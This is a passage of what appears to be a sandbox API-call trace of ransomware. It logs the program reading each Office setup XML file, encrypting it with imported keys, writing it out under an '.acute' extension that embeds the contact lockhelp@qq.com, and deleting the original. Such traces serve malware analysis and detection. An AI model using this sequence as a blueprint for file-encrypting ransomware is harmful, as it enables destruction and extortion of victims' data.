[0053.204] CloseHandle (hObject=0x174) returned 1 [0053.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0053.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.204] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.204] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.205] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.205] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.205] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x93a, lpOverlapped=0x0) returned 1 [0053.207] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x940, dwBufLen=0x940 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x940) returned 1 [0053.207] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x940, lpOverlapped=0x0) returned 1 [0053.208] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.208] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.208] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.208] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.208] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.208] CryptDestroyKey (hKey=0x593220) returned 1 [0053.208] CloseHandle (hObject=0x174) returned 1 [0053.208] CloseHandle (hObject=0x184) returned 1 [0053.209] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0053.210] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.210] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=4274) returned 1 [0053.210] CloseHandle (hObject=0x184) returned 1 [0053.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0053.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.210] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.210] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.211] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.211] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.211] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x10b2, lpOverlapped=0x0) returned 1 [0053.212] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x10c0) returned 1 [0053.212] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x10c0, lpOverlapped=0x0) returned 1 [0053.213] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.213] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.214] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.214] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.214] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.214] CryptDestroyKey (hKey=0x593220) returned 1 [0053.214] CloseHandle (hObject=0x184) returned 1 [0053.214] CloseHandle (hObject=0x174) returned 1 [0053.214] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0053.215] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.216] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1606) returned 1 [0053.216] CloseHandle (hObject=0x174) returned 1 [0053.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0053.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.216] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.216] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.218] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.218] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.218] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x646, lpOverlapped=0x0) returned 1 [0053.224] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x650, dwBufLen=0x650 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x650) returned 1 [0053.224] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x650, lpOverlapped=0x0) returned 1 [0053.225] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.225] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.225] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.225] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.225] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.225] CryptDestroyKey (hKey=0x593220) returned 1 [0053.226] CloseHandle (hObject=0x174) returned 1 [0053.226] CloseHandle (hObject=0x184) returned 1 [0053.226] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0053.227] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.380] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1988) returned 1 [0053.380] CloseHandle (hObject=0x184) returned 1 [0053.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0053.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.381] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.381] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.381] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.381] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.381] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x7c4, lpOverlapped=0x0) returned 1 [0053.390] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7d0) returned 1 [0053.390] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x7d0, lpOverlapped=0x0) returned 1 [0053.391] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0053.391] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.391] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.391] CryptDestroyKey (hKey=0x593260) returned 1 [0053.391] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.391] CryptDestroyKey (hKey=0x593220) returned 1 [0053.391] CloseHandle (hObject=0x184) returned 1 [0053.391] CloseHandle (hObject=0x174) returned 1 [0053.392] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0053.393] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.394] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1452) returned 1 [0053.394] CloseHandle (hObject=0x174) returned 1 [0053.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0053.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.394] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.394] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.398] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0053.398] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.398] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5ac, lpOverlapped=0x0) returned 1 [0053.402] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5b0) returned 1 [0053.402] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5b0, lpOverlapped=0x0) returned 1 [0053.403] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593320) returned 1 [0053.403] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.403] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.403] CryptDestroyKey (hKey=0x593320) returned 1 [0053.403] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.403] CryptDestroyKey (hKey=0x593260) returned 1 [0053.403] CloseHandle (hObject=0x174) returned 1 [0053.403] CloseHandle (hObject=0x194) returned 1 [0053.404] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0053.405] SetEvent (hEvent=0x14c) returned 1 [0053.405] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.406] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1872) returned 1 [0053.406] CloseHandle (hObject=0x194) returned 1 [0053.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0053.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.406] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.406] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0053.407] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, 